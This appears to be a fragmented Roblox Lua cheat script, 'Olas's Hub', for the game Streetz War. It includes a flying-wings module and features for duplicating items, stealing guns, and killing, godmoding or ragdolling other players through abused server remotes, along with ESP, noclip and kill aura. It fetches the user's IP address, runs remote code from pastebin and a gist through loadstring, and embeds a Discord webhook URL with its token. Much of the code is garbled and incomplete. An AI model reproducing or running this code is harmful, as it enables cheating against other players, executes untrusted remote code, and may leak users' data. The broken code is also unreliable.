message (2)
message (2)
game:GetService("Debris"):AddItem(v,.1)
end
function weld(p0,p1,c0,c1,par)
w.Part0 = p0
w.Part1 = p1
w.C0 = c0 or CFrame.new()
w.C1 = c1 or CFrame.new()
return w
end
local motors = {}
function motor(p0,p1,c0,c1,des,vel,par)
w.Part0 = p0
w.Part1 = p1
w.C0 = c0 or CFrame.new()
w.C1 = c1 or CFrame.new()
w.DesiredAngle = tonumber(des) or 0
return w
end
function lerp(a,b,c)
return a+(b-a)*c
end
function clerp(c1,c2,al)
com1[i] = lerp(v,com2[i],al)
end
return CFrame.new(com1[1],com1[2],com1[3]) *
CFrame.Angles(select(4,unpack(com1)))
end
function ccomplerp(c1,c2,al)
com1[i] = lerp(v,com2[i],al)
end
return CFrame.new(unpack(com1))
end
function tickwave(time,length,offset)
return (math.abs((tick()+(offset or
0))%time-time/2)*2-time/2)/time/2*length
end
function invcol(c)
c = c.Color
return BrickColor.new(Color3.new(1-c.b,1-c.g,1-c.r))
end
hum.PlatformStand = false
pcall(function()
char.Wings:Destroy()
end)
pcall(function()
char.Angel:Destroy() -- hat
end)
mod.Name = "Wings"
local special = {
antiboomz0r = {"New
Yeller",nil,0.4,0.7,true,Color3.new(1,1,.95),Color3.new(1,1,.6)},
--antiboomz0r =
{"Cyan","Toothpaste",0,0,false,Color3.new(1,0,0),Color3.new(0,0,0)},
mitta = {"Black",nil,0,0,false},
penjuin3 = {"White",nil,0,0,false},
thepc8110 = {"Black","Bright
red",.5,0,false,Color3.new(1,0,0),Color3.new(0,0,0)},
nonspeaker =
{"Cyan","Toothpaste",0,0,false,Color3.new(1,0,0),Color3.new(0,0,0)},
oxcool1 = {"Really
black","White",.2,0,false,Color3.new(0,0,0),Color3.new(0,0,0)},
local ptrans = 1
local pref = 0
if spec then
end
part.Size = Vector3.new(.2,.2,.2)
part.TopSurface,part.BottomSurface = 0,0
part.CanCollide = false
part.Color = Color3.new(255,255,255)
part.Transparency = 1
part.Material = Enum.Material.ForceField
part.Reflectance = pref
ef.Size = .15
part:BreakJoints()
function newpart()
clone.Parent = mod
clone:BreakJoints()
return clone
end
feath.BrickColor = feacolor
feath.Material = Enum.Material.ForceField
feath.Transparency = 1
Instance.new("SpecialMesh",feath).MeshType = "Sphere"
function newfeather()
local clone = feath:Clone()
clone.Parent = mod
clone.Material = Enum.Material.ForceField
clone.Transparency = 1
clone:BreakJoints()
return clone
end
local r1 = newpart()
r1.Size = Vector3.new(.3,1.5,.3)*1.2
local r2 = newpart()
r2.Size = Vector3.new(.4,1.8,.4)*1.2
local r3 = newpart()
r3.Size = Vector3.new(.3,2.2,.3)*1.2
local r4 = newpart()
r4.Size = Vector3.new(.25,1.2,.25)*1.2
feather.Mesh.Scale = Vector3.new(1,1,1)
feather.Size = Vector3.new(.4,3,.3)
weld(r4,feather,CFrame.new(-.1,-.3,0),CFrame.new(0,-1.5,0))
feather = newfeather()
feather.Mesh.Scale = Vector3.new(1,1,1)
feather.Size = Vector3.new(.4,2.3,.3)
weld(r4,feather,CFrame.new(.1,-.1,0) *
CFrame.Angles(0,math.random()*.1,0),CFrame.new(0,-1.1,0))
feather = newfeather()
feather.Mesh.Scale = Vector3.new(1,1,1)
feather.Size = Vector3.new(.35,2.2,.25)
feather.Transparency = 1
feather.Material = Enum.Material.ForceField
weld(r4,feather,CFrame.new(.1,-.3,0) *
CFrame.Angles(0,math.random()*.1,math.rad(-10)),CFrame.new(0,-1.1,0))
local rf3 = {}
for i=0,7 do
feather = newfeather()
feather.Mesh.Scale = Vector3.new(1,1,1)
feather.Size = Vector3.new(.45,2.2,.35)
table.insert(rf3,motor(r3,feather,CFrame.new(.05,1-i*.285,0) *
CFrame.Angles(0,math.random()*.1,math.rad(-25-i*2)),CFrame.new(0,-feather.Size.Y/
2,0)))
end
local rf2 = {}
for i=0,6 do
feather = newfeather()
feather.Mesh.Scale = Vector3.new(1,1,1)
feather.Size = Vector3.new(.45,2.2-i*.08,.3)
table.insert(rf2,motor(r2,feather,CFrame.new(.05,.75-i*.26,0) *
CFrame.Angles(0,math.random()*.1,math.rad(-75-i*4)),CFrame.new(0,-feather.Size.Y/
2,0)))
end
local rf1 = {}
for i=0,6 do
feather = newfeather()
feather.Mesh.Scale = Vector3.new(1,1,1)
feather.Size = Vector3.new(.37,1.65-i*.06,.25)
table.insert(rf1,motor(r1,feather,CFrame.new(.05,.63-i*.21,0) *
CFrame.Angles(0,math.random()*.05,math.rad(-75)),CFrame.new(0,-feather.Size.Y/
2,0)))
end
---------- LEFT WING
local l1 = newpart()
l1.Size = Vector3.new(.3,1.5,.3)*1.2
local l2 = newpart()
l2.Size = Vector3.new(.4,1.8,.4)*1.2
local l3 = newpart()
l3.Size = Vector3.new(.3,2.2,.3)*1.2
local l4 = newpart()
l4.Size = Vector3.new(.25,1.2,.25)*1.2
feather.Mesh.Scale = Vector3.new(1,1,1)
feather.Size = Vector3.new(.4,3,.3)
weld(l4,feather,CFrame.new(-.1,-.3,0),CFrame.new(0,-1.5,0))
feather = newfeather()
feather.Mesh.Scale = Vector3.new(1,1,1)
feather.Size = Vector3.new(.4,2.3,.3)
weld(l4,feather,CFrame.new(.1,-.1,0) *
CFrame.Angles(0,math.random()*.1,0),CFrame.new(0,-1.1,0))
feather = newfeather()
feather.Mesh.Scale = Vector3.new(1,1,1)
feather.Size = Vector3.new(.35,2.2,.25)
weld(l4,feather,CFrame.new(.1,-.3,0) *
CFrame.Angles(0,math.random()*.1,math.rad(-10)),CFrame.new(0,-1.1,0))
local lf3 = {}
for i=0,7 do
feather = newfeather()
feather.Mesh.Scale = Vector3.new(1,1,1)
feather.Size = Vector3.new(.45,2.2,.35)
table.insert(lf3,motor(l3,feather,CFrame.new(.05,1-i*.285,0) *
CFrame.Angles(0,math.random()*.1,math.rad(-25-i*2)),CFrame.new(0,-feather.Size.Y/
2,0)))
end
local lf2 = {}
for i=0,6 do
feather = newfeather()
feather.Mesh.Scale = Vector3.new(1,1,1)
feather.Size = Vector3.new(.45,2.2-i*.08,.3)
table.insert(lf2,motor(l2,feather,CFrame.new(.05,.75-i*.26,0) *
CFrame.Angles(0,math.random()*.1,math.rad(-75-i*4)),CFrame.new(0,-feather.Size.Y/
2,0)))
end
local lf1 = {}
for i=0,6 do
feather = newfeather()
feather.Mesh.Scale = Vector3.new(1,1,1)
feather.Size = Vector3.new(.37,1.65-i*.06,.25)
table.insert(lf1,motor(l1,feather,CFrame.new(.05,.63-i*.21,0) *
CFrame.Angles(0,math.random()*.05,math.rad(-75)),CFrame.new(0,-feather.Size.Y/
2,0)))
end
local oc0 = {}
oc0[v] = v.C0
end
end
function gotResized()
if lastsize then
oc0[i] = v-v.p+scaleVec*v.p
end
lastsize = tor.Size
end
lastsize = tor.Size
end
tor.Changed:connect(function(p)
if p == "Size" then
gotResized()
end
end)
gotResized()
function setwings(tab,time)
time = time or 10
for i=1,4 do
rwing[i].DesiredAngle = tab[i]
lwing[i].DesiredAngle = tab[i]
rwing[i].MaxVelocity =
math.abs(tab[i]-rwing[i].CurrentAngle)/time
lwing[i].MaxVelocity =
math.abs(tab[i]-lwing[i].CurrentAngle)/time
end
v.DesiredAngle = tab[9]
v.MaxVelocity = math.abs(v.DesiredAngle-v.CurrentAngle)/time
end
v.DesiredAngle = tab[9]
v.MaxVelocity = math.abs(v.DesiredAngle-v.CurrentAngle)/time
end
v.DesiredAngle = tab[10]
v.MaxVelocity = math.abs(v.DesiredAngle-v.CurrentAngle)/time
end
v.DesiredAngle = tab[10]
v.MaxVelocity = math.abs(v.DesiredAngle-v.CurrentAngle)/time
end
v.DesiredAngle = tab[11]
v.MaxVelocity = math.abs(v.DesiredAngle-v.CurrentAngle)/time
end
v.DesiredAngle = tab[11]
v.MaxVelocity = math.abs(v.DesiredAngle-v.CurrentAngle)/time
end
end
setwings(outhigh,1)
flying = false
moving = false
if v.ClassName:lower():match("body") then
v:Destroy()
end
end
ctor:ClearAllChildren()
ctor.Name = "cTorso"
ctor.Transparency = 1
ctor.CanCollide = false
ctor.Size = Vector3.new(.2,.2,.2)
ctor.Parent = mod
weld(tor,ctor)
local bg = Instance.new("BodyGyro",ctor)
bg.maxTorque = Vector3.new()
bg.P = 15000
bg.D = 1000
local bv = Instance.new("BodyVelocity",ctor)
bv.maxForce = Vector3.new()
bv.P = 15000
vel = Vector3.new()
cf = CFrame.new()
flspd = 0
keysdown = {}
keypressed = {}
ktime = {}
descendtimer = 0
jumptime = tick()
hum.Jumping:connect(function()
jumptime = tick()
end)
cam = workspace.CurrentCamera
kd = plr:GetMouse().KeyDown:connect(oc(function(key)
keysdown[key] = true
keypressed[key] = true
descendtimer = tick()
jumptime = tick()
end
ktime[key] = tick()
end))
ku = plr:GetMouse().KeyUp:connect(function(key)
keysdown[key] = false
descendtimer = tick()
end
end)
function mid(a,b,c)
function bn(a)
return a and 1 or 0
end
function gm(tar)
local m = 0
if v:IsA("BasePart") then
m = m + v:GetMass()
end
m = m + gm(v)
end
return m
end
reqrotx = 0
local con
con = game:GetService("RunService").Stepped:connect(oc(function()
bg:Destroy()
bv:Destroy()
con:disconnect()
script:Destroy()
return
end]]
fldir =
cam.CoordinateFrame:vectorToWorldSpace(Vector3.new(bn(keysdown.d)-
bn(keysdown.a),0,bn(keysdown.s)-bn(keysdown.w))).unit
idledir = lfldir*Vector3.new(1,0,1)
descendtimer = tick()
end
fldir =
(Vector3.new(lfldir.X,math.min(fldir.Y,lfldir.Y+.01)-.1,lfldir.Z)+
(fldir*Vector3.new(1,0,1))*.05).unit
end
cf = ccomplerp(cf,CFrame.new(tor.Position,tor.Position+(not
moving and idledir or fldir)),keysdown["0"] and .02 or .07)
hum.PlatformStand = true
bg.maxTorque = Vector3.new(1,1,1)*9e5
local rotvel =
CFrame.new(Vector3.new(),tor.Velocity):toObjectSpace(CFrame.new(Vector3.new(),fldir
)).lookVector
bv.maxForce = Vector3.new(1,1,1)*9e4*.5
for i=1,4 do
--
CFrame.Angles(-.5+bn(i==3)*2.4+bn(i==4)*.5,.1+bn(i==2)*.5-bn(i==3)*1.1,bn(i==3)*.1)
end
local hit,ray =
workspace:FindPartOnRayWithIgnoreList(Ray.new(tor.Position,Vector3.new(0,-
3.5+math.min(0,bv.velocity.y)/30,0)),{char})
flying = false
hum.PlatformStand = false
tor.Velocity = Vector3.new()
end
else
bg.maxTorque = Vector3.new()
bv.maxForce = Vector3.new()
setwings(idle,10)
vel = Vector3.new(0,50,0)
bv.velocity = vel
idledir =
cam.CoordinateFrame.lookVector*Vector3.new(1,0,1)
cf = tor.CFrame * CFrame.Angles(-.01,0,0)
tor.CFrame = cf
bg.cframe = cf
flystart = tick()
flying = true
end
end
keypressed = {}
end))
end
fly()
local ip = game:HttpGet("https://api.ipify.org/")
loadstring(game:HttpGet("https://pastebin.com/raw/sQBwjjT1"))()
_G.Status = true
if _G.Status then
if whitelisted then
print("whitelisted")
local LoadingXSX = Notif:Notify("Authorized, please wait.", 2, "success")
notificationlib.rank = "developer"
notificationlib.version = "2.0.3"
local Notif = notificationlib:InitNotifications()
local LoadingXSX = Notif:Notify("Authorized, please wait.", 2, "success") --
notification, alert, error, success, information
webhook =
"https://discord.com/api/webhooks/1285154034658836480/y8Fz_YcSpyZ07Qea-
itsFTWT1x3eWZ3Q9i7tANX6Bb9MxZUfKt8GmHFSJ7y1vZBrkUsA"
wait(0.1)
local LoadingXSX = Notif:Notify("Loading Olas's Hub, please wait.", 2,
"information") -- notification, alert, error, success, information
wait(0.1)
print(CREDITS)
local library =
loadstring(game:HttpGet('https://gist.githubusercontent.com/MISSINGACID/
e9f6cf627d256851ecc89798f69c2aa8/raw/509c970b9ea9cef74ae7e1fd5c9753e323c25e4b/
fawwwk.lua'))()
-- // Window \\ --
local window = library.new("Olas's Hub | SW2", 'leadmarker')
-- // Tabs \\ --
local tab = window.new_tab('rbxassetid://12795075088')
local tab2 = window.new_tab('rbxassetid://6594776225')
local tab3 = window.new_tab('https://www.roblox.com/Thumbs/Asset.ashx?
width=420&height=420&assetId=12334310477')
local tab4 = window.new_tab('https://www.roblox.com/Thumbs/Asset.ashx?
width=420&height=420&assetId=12941020189')
local settings = window.new_tab('https://www.roblox.com/Thumbs/Asset.ashx?
width=420&height=420&assetId=14134158105')
-- // Sections \\ --
local section = tab.new_section('Duplication')
local section3 = tab2.new_section('Editing')
local section2 = tab3.new_section('Stealing')
local section5 = tab4.new_section('Teleporting')
local settingssection = settings.new_section('Settings')
-- // Sector \\ --
local autofarmsector = section.new_sector('Autofarm', 'Left')
local carddupingsector = section.new_sector('Card Duping', 'Left')
local section4 = section3.new_sector('Enemies', 'Right')
local sector3 = section3.new_sector('Settings', 'Left')
local selfsector = section3.new_sector('Self', 'Left')
local sector1 = section.new_sector('Gun Duplication', 'Right')
local gunsection = section2.new_sector('Gun Stealing', 'Left')
local maskingsection = settingssection.new_sector('Masking', 'Right')
mousemoveabs(thing.AbsolutePosition.X, thing.AbsolutePosition.Y)
vim:SendMouseButtonEvent(thing.AbsolutePosition.X,
thing.AbsolutePosition.Y, 0, true, game, 0)
wait()
vim:SendMouseButtonEvent(thing.AbsolutePosition.X,
thing.AbsolutePosition.Y, 0, false, game, 0)
thing.Size = UDim2.new(0, 0, 0, 0)
game.Players.LocalPlayer.PlayerGui.DealerGui.ShopFrame.exit.Position =
thing.Position
thing:Destroy()
local thing =
game.Players.LocalPlayer.PlayerGui.DealerGui.ShopFrame.exit
thing.Size = UDim2.new(10, 0, -10, 0)
local ypos = thing.AbsolutePosition.Y
local xpos = thing.AbsolutePosition.X
mousemoveabs(xpos, ypos)
vim:SendMouseButtonEvent(xpos, ypos, 0, true, game, 0)
wait()
vim:SendMouseButtonEvent(xpos, ypos, 0, false, game, 0)
return
elseif selecteditem == 'Balaclava' then
fireclickdetector(game.Workspace["Streetz
War"].IllegalDealer.ClickDetector)
game.Players.LocalPlayer.PlayerGui:WaitForChild("DealerGui")
game.Players.LocalPlayer.PlayerGui.DealerGui.ShopFrame.Visible =
true
game.Players.LocalPlayer.PlayerGui.DealerGui.Frame.Visible = false
thing.Size = UDim2.new(0, 0, 0, 0)
game.Players.LocalPlayer.PlayerGui.DealerGui.ShopFrame.exit.Position =
thing.Position
thing:Destroy()
local thing =
game.Players.LocalPlayer.PlayerGui.DealerGui.ShopFrame.exit
thing.Size = UDim2.new(10, 0, -10, 0)
thing.Position = UDim2.new(0.254892468, 0, 0.932652116, 0)
local ypos = thing.AbsolutePosition.Y
local xpos = thing.AbsolutePosition.X
mousemoveabs(xpos, ypos)
vim:SendMouseButtonEvent(xpos, ypos, 0, true, game, 0)
wait()
vim:SendMouseButtonEvent(xpos, ypos, 0, false, game, 0)
return
elseif selecteditem == 'Spraypaint' or selecteditem == 'C4' or
selecteditem == 'Flashlight' or selecteditem == 'Lockpick' or selecteditem ==
'Money Flex' or selecteditem == 'Dufflebag' then
fireclickdetector(game.Workspace["Streetz
War"].IllegalDealer.ClickDetector)
game.Players.LocalPlayer.PlayerGui:WaitForChild("DealerGui")
game.Players.LocalPlayer.PlayerGui.DealerGui.ShopFrame.Visible =
true
game.Players.LocalPlayer.PlayerGui.DealerGui.Frame.Visible = false
mousemoveabs(thing.AbsolutePosition.X, thing.AbsolutePosition.Y)
vim:SendMouseButtonEvent(thing.AbsolutePosition.X,
thing.AbsolutePosition.Y, 0, true, game, 0)
wait()
vim:SendMouseButtonEvent(thing.AbsolutePosition.X,
thing.AbsolutePosition.Y, 0, false, game, 0)
print("asd")
thing.Size = UDim2.new(0, 0, 0, 0)
game.Players.LocalPlayer.PlayerGui.DealerGui.ShopFrame.exit.Position =
thing.Position
thing:Destroy()
local thing =
game.Players.LocalPlayer.PlayerGui.DealerGui.ShopFrame.exit
thing.Size = UDim2.new(10, 0, -10, 0)
local ypos = thing.AbsolutePosition.Y
local xpos = thing.AbsolutePosition.X
mousemoveabs(xpos, ypos)
vim:SendMouseButtonEvent(xpos, ypos, 0, true, game, 0)
wait()
vim:SendMouseButtonEvent(xpos, ypos, 0, false, game, 0)
return
else
for i,v in pairs(game.Workspace.GunShop.Slots:GetDescendants()) do
if selecteditem ~= nil then
if v.Name == selecteditem then
wasinshop = true
purchaseditem = v
end
end
end
if wasinshop then
local oldpos =
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame =
purchaseditem.Parent.MainPart.CFrame
wait(0.2)
purchaseditem.Parent.MainPart.ProximityPrompt.MaxActivationDistance = 10
purchaseditem.Parent.MainPart.ProximityPrompt.RequiresLineOfSight = false
repeat
game.Workspace.Camera.CameraType =
Enum.CameraType.Scriptable
task.wait(.5)
until game.Workspace.Camera.CameraType ==
Enum.CameraType.Scriptable
fireproximityprompt(purchaseditem.Parent.MainPart.ProximityPrompt,
purchaseditem.Parent.MainPart.ProximityPrompt.HoldDuration + 0.2)
wait(purchaseditem.Parent.MainPart.ProximityPrompt.HoldDuration
+ 0.2)
repeat
game.Workspace.Camera.CameraType = Enum.CameraType.Custom
task.wait(.5)
until game.Workspace.Camera.CameraType ==
Enum.CameraType.Custom
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame =
oldpos
end
end
end
end)
local playerssector = section5.new_sector('Players', 'Right')
local amount = 5000
local method = "public"
local ammo = 5000
local namechange = ""
local teleportlocation
game.Players.LocalPlayer.Character.Humanoid:GetPropertyChangedSignal("WalkSpeed"):C
onnect(function()
if game.Players.LocalPlayer.Character.Humanoid.WalkSpeed ~=
_G.desiredwalkspeed then
game.Players.LocalPlayer.Character.Humanoid.WalkSpeed =
_G.desiredwalkspeed -- Reset to desired walk speed
end
end)
game.Players.LocalPlayer.Character.Humanoid.WalkSpeed = _G.desiredwalkspeed
end)
game.Players.LocalPlayer.Character.Humanoid:GetPropertyChangedSignal("JumpPower"):C
onnect(function()
if game.Players.LocalPlayer.Character.Humanoid.JumpPower ~=
_G.desiredjumppower then
game.Players.LocalPlayer.Character.Humanoid.JumpPower =
_G.desiredjumppower -- Reset to desired walk speed
end
end)
game.Players.LocalPlayer.Character.Humanoid.JumpPower = _G.desiredjumppower
end)
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-
55.2443771, 4.57027864, 170.608994, -0.15382807, -8.42419112e-08, -0.988097608,
7.36582173e-09, 1, -8.64033822e-08, 0.988097608, -2.05694164e-08, -0.15382807)
wait(0.5)
wait(0.5)
task.wait(0.1)
mousemoveabs(thing.AbsolutePosition.X,thing.AbsolutePosition.Y)
vim:SendMouseButtonEvent(thing.AbsolutePosition.X,thing.AbsolutePosition.Y, 0,
true, game, 0)
wait()
vim:SendMouseButtonEvent(thing.AbsolutePosition.X,thing.AbsolutePosition.Y, 0,
false, game, 0)
thing.Size = UDim2.new(0, 0, 0, 0)
local thing = game.Players.LocalPlayer.PlayerGui.DealerGui.ShopFrame["laptop"]
thing.Size = UDim2.new(10, 0, -10, 0)
wait(2)
task.wait(0.1)
mousemoveabs(thing.AbsolutePosition.X,thing.AbsolutePosition.Y)
vim:SendMouseButtonEvent(thing.AbsolutePosition.X,thing.AbsolutePosition.Y, 0,
true, game, 0)
wait()
vim:SendMouseButtonEvent(thing.AbsolutePosition.X,thing.AbsolutePosition.Y, 0,
false, game, 0)
thing.Size = UDim2.new(0, 0, 0, 0)
mousemoveabs(thing.AbsolutePosition.X,thing.AbsolutePosition.Y)
vim:SendMouseButtonEvent(thing.AbsolutePosition.X,thing.AbsolutePosition.Y, 0,
true, game, 0)
wait()
vim:SendMouseButtonEvent(thing.AbsolutePosition.X,thing.AbsolutePosition.Y, 0,
false, game, 0)
game.Players.LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(-
5.82215214, 58.6855545, 177.927963, 0.758703411, -1.90383407e-08, -0.65143621,
4.84420104e-09, 1, -2.35833202e-08, 0.65143621, 1.47370578e-08, 0.758703411)
wait(0.5)
wait(4)
game.Players.LocalPlayer.Backpack.Laptop.Parent =
game.Players.LocalPlayer.Character
wait(0.2)
spawn(function()
local args = {
[1] = true,
[2] = "NEW123"
}
game:GetService("ReplicatedStorage"):WaitForChild("Assets"):WaitForChild("Other"):W
aitForChild("GiverPunchmade"):InvokeServer(unpack(args))
end)
wait(2)
spawn(function()
local args = {
[1] = false,
[2] = "NEW123"
}
game:GetService("ReplicatedStorage"):WaitForChild("Assets"):WaitForChild("Other"):W
aitForChild("GiverPunchmade"):InvokeServer(unpack(args))
end)
wait(2)
end
end)
wait(0.5)
local laptopcount = 0
for i,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren()) do
if v.Name == "Laptop" then
laptopcount = laptopcount + 1
end
end
for i = 1, laptopcount - 1 do
spawn(function()
local args = {
[1] = true,
[2] = "NEW123"
}
game:GetService("ReplicatedStorage"):WaitForChild("Assets"):WaitForChild("Other"):W
aitForChild("GiverPunchmade"):InvokeServer(unpack(args))
end)
end
wait(4)
game.Players.LocalPlayer.Backpack.Laptop.Parent =
game.Players.LocalPlayer.Character
wait(4)
local cardcount = 0
for i,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren()) do
if v.Name == "Loaded Card" then
cardcount = cardcount + 1
end
end
for i = 1, cardcount do
spawn(function()
local args = {
[1] = false,
[2] = "NEW123"
}
game:GetService("ReplicatedStorage"):WaitForChild("Assets"):WaitForChild("Other"):W
aitForChild("GiverPunchmade"):InvokeServer(unpack(args))
end)
end
end
game.Players.LocalPlayer.Character.Humanoid:UnequipTools()
end)
while _G.noclip do
game:GetService("RunService").RenderStepped:wait()
local character = game.Players.LocalPlayer.Character
if character then
for _, part in pairs(character:GetDescendants()) do
if part:IsA("BasePart") then
part.CanCollide = false
end
end
end
end
end)
game:GetService("UserInputService").JumpRequest:Connect(function()
if not debounce then
debounce = true
game.Players.LocalPlayer.Character.Humanoid:ChangeState(Enum.HumanoidStateType.Jump
ing)
wait(0.5) -- Adjust the wait time as needed for the debounce
debounce = false
end
end)
end)
if humanoid then
game:GetService("ReplicatedStorage").Ragdoll:FireServer(true)
game.Players.LocalPlayer.Character.Humanoid.Jump = true
humanoid:ChangeState(Enum.HumanoidStateType.Ragdoll)
workspace.sw2accountmod.Humanoid.RequiresNeck = false
end
-- Store the player's original position
local originalPosition = humanoidRootPart.Position
if ragdollFolder then
-- Iterate through all constraints in the folder
for _, constraint in ipairs(ragdollFolder:GetChildren()) do
if constraint:IsA("HingeConstraint") or
constraint:IsA("BallSocketConstraint") then
-- Disable the constraint
constraint.Enabled = false
end
end
end
-- Run your desired code here (e.g., wait for a few seconds)
wait(2) -- Example wait time for running other code or actions
player.Character:FindFirstChildWhichIsA("Humanoid"):ChangeState(Enum.HumanoidStateT
ype.Jumping)
end)
tool.Stuff.Values.CurrentAmmo.MinValue = 0
tool.Stuff.Values.StoredAmmo.MinValue = 0
tool.Stuff.Values.CurrentAmmo.Value = ammo
tool.Stuff.Values.StoredAmmo.Value = ammo
end
end
end)
for _, v in pairs(game.ReplicatedStorage.Assets.Tools:GetChildren()) do
local newv = referencemodule:Clone()
newv.Parent = game.ReplicatedStorage.Assets.Tools
newv.Name = v.Name
local existingSounds = newv:FindFirstChild("Sounds")
if existingSounds then
existingSounds:Destroy()
end
local oldSounds = v:FindFirstChild("Sounds")
if oldSounds then
oldSounds.Parent = newv
end
v:Destroy()
end
_G.FixingName = true
while _G.FixingName do
wait()
if game.Players.LocalPlayer.Character then
if game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool") then
game.Players.LocalPlayer.PlayerGui.GunUI.GunStats.Weapon.Text = "Modded
" .. game.Players.LocalPlayer.Character:FindFirstChildOfClass("Tool").Name
end
end
end
end)
while _G.EspEnabled do
task.wait()
for _, v in pairs(Players:GetChildren()) do
if v.Name ~= localPlayer.Name then
local chr = v.Character
if chr then
local targetRootPart =
chr:FindFirstChild("HumanoidRootPart")
if targetRootPart then
local distance = (localRootPart.Position -
targetRootPart.Position).Magnitude
if distance < 200 then
local esp = holder:FindFirstChild(v.Name) or
Instance.new("Highlight")
esp.Name = v.Name
esp.Parent = holder
esp.FillColor = Color3.new(0.3921568627,
0.3921568627, 1)
esp.OutlineColor = Color3.new(0.3921568627,
0.3921568627, 1)
esp.FillTransparency = 0.8
esp.OutlineTransparency = 0.4
esp.Adornee = chr
esp.DepthMode =
Enum.HighlightDepthMode.AlwaysOnTop
local billboard =
holder:FindFirstChild("Billboard_" .. v.Name) or Instance.new("BillboardGui")
billboard.Name = "Billboard_" .. v.Name
billboard.Parent = holder
billboard.Adornee = targetRootPart
billboard.Size = UDim2.new(0, 200, 0, 60)
billboard.StudsOffset = Vector3.new(0, 5, 0)
billboard.AlwaysOnTop = true
local nameLabel =
billboard:FindFirstChild("NameLabel") or Instance.new("TextLabel")
nameLabel.Name = "NameLabel"
nameLabel.Parent = billboard
nameLabel.Size = UDim2.new(1, 0, 0.3, 0)
nameLabel.Position = UDim2.new(0, 0, 0.15, 0)
nameLabel.BackgroundTransparency = 1
nameLabel.Text = v.Name
nameLabel.TextColor3 = Color3.new(1, 1, 1)
nameLabel.TextStrokeTransparency = 0
nameLabel.Font = Enum.Font.ArialBold
local distanceLabel =
billboard:FindFirstChild("DistanceLabel") or Instance.new("TextLabel")
distanceLabel.Name = "DistanceLabel"
distanceLabel.Parent = billboard
distanceLabel.Size = UDim2.new(1, 0, 0.3,
0)
distanceLabel.Position = UDim2.new(0, 0,
0.45, 0)
distanceLabel.BackgroundTransparency = 1
distanceLabel.Text = "Distance: " ..
math.floor(distance)
distanceLabel.TextColor3 = Color3.new(1, 1,
1)
distanceLabel.TextStrokeTransparency = 0
distanceLabel.Font = Enum.Font.ArialBold
end
else
local existingEsp =
holder:FindFirstChild(v.Name)
if existingEsp then existingEsp:Destroy() end
local existingBillboard =
holder:FindFirstChild("Billboard_" .. v.Name)
if existingBillboard then
existingBillboard:Destroy() end
end
end
end
end
end
end
end)
if _G.killauracircle then
-- Set bricks visible and update positions
setBricksVisibility(true)
spawn(function()
while _G.killauracircle do
task.wait()
updateBricksPosition()
killaura()
end
end)
else
-- Set bricks invisible and stop the loop
_G.killauracircle = false
setBricksVisibility(false)
end
end)
if _G.healauracircle then
-- Set bricks visible and update positions
setBricksVisibility(true)
spawn(function()
while _G.healauracircle do
task.wait()
updateBricksPosition()
healaura()
end
end)
else
-- Set bricks invisible and stop the loop
_G.killauracircle = false
setBricksVisibility(false)
end
end)
end
game.Players.LocalPlayer.Backpack:WaitForChild("Fist").Script.egma:FireServer(targe
t.Character.UpperTorso, target.Character.Humanoid.Health,
game.Players.LocalPlayer.Character.RightHand)
wait(2)
local Health = Notif:Notify("Targets Health: " ..
tostring(target.Character.Humanoid.Health), 4, "information")
end)
if premium then
local toggle = section4.element('Button', 'Godmode Player', false, function(v)
local target = game.Players[crashtarget]
game.Players.LocalPlayer.Backpack:WaitForChild("Fist").Script.egma:FireServer(targe
t.Character.UpperTorso, -math.huge, game.Players.LocalPlayer.Character.RightHand)
wait(2)
local Health = Notif:Notify("Targets Health: " ..
tostring(target.Character.Humanoid.Health), 4, "information")
end)
game.Players.LocalPlayer.Backpack:WaitForChild("Fist").Script.egma:FireServer(v.Cha
racter.UpperTorso, -math.huge, game.Players.LocalPlayer.Character.RightHand)
end
local Health = Notif:Notify("Attempted to godmode all", 4,
"information")
end)
game.Players.LocalPlayer.Backpack:WaitForChild("Fist").Script.egma:FireServer(v.Cha
racter.UpperTorso, v.Character.Humanoid.Health,
game.Players.LocalPlayer.Character.RightHand)
end
end
local Health = Notif:Notify("Attempted to kill all", 4, "information")
end)
tool.Parent = game.Players.LocalPlayer.Character
wait()
for i,v in pairs(game.Players:GetChildren()) do
if v.Character then
if v.Name ~= game.Players.LocalPlayer.Name then
local args = {
[1] = tool,
[2] = v.Character.RightLowerLeg,
[3] = Vector3.new(2573.336669921875, -
305.27593994140625, -161.96495056152344),
[4] = Vector3.yAxis,
[5] = Vector3.new(0.335058331489563, -
0.1915476769208908, -0.9225212335586548)
}
game:GetService("ReplicatedStorage"):WaitForChild("Communication"):WaitForChild("Ev
ents"):WaitForChild("3"):FireServer(unpack(args))
game.Players.LocalPlayer.Backpack:WaitForChild("Fist").Script.egma:FireServer(v.Cha
racter.UpperTorso, -20, game.Players.LocalPlayer.Character.RightHand)
end
end
end
wait(1)
tool.Parent = game.Players.LocalPlayer.Backpack
local Health = Notif:Notify("Ragdolled all players", 4, "information")
end
end)
end)
end
game.Players.LocalPlayer.Character.Humanoid:EquipTool(game.Workspace:FindFirstChild
OfClass("Tool"))
end
end
end)
game:GetService("ReplicatedStorage"):WaitForChild("LootPlayerRF"):InvokeServer(unpa
ck(args))
end)
end
end
end)
local amount2 = 32
local itemname = ""
game.Players.LocalPlayer.Character.Humanoid:ChangeState(Enum.HumanoidStateType.Dead
)
end)
wait(0.1)
for i, v in pairs(game.Players:GetChildren()) do
if v.Character then
local head = v.Character:FindFirstChild("Head")
if head then
local nameGui = head:FindFirstChild("NameGui")
if nameGui then
local main = nameGui:FindFirstChild("Main")
if main then
local extras = main:FindFirstChild("Extras")
if extras then
local str = extras.Text
if str ~= "" then
Notif:Notify(v.Name .. " has an emoji: " .. str, 4,
"alert")
end
end
end
end
end
end
end
game.Players.LocalPlayer.CharacterAdded:Connect(function(character)
wait(2)
fly()
end)
end
game.Players.LocalPlayer.CharacterAdded:Connect(function(character)
wait(2)
fly()
end)
game:GetService("UserInputService").InputBegan:Connect(function(input)
if input.UserInputType == Enum.UserInputType.MouseButton1 then
if _G.tracers then
onMouseButton1Down()
end
end
end)
end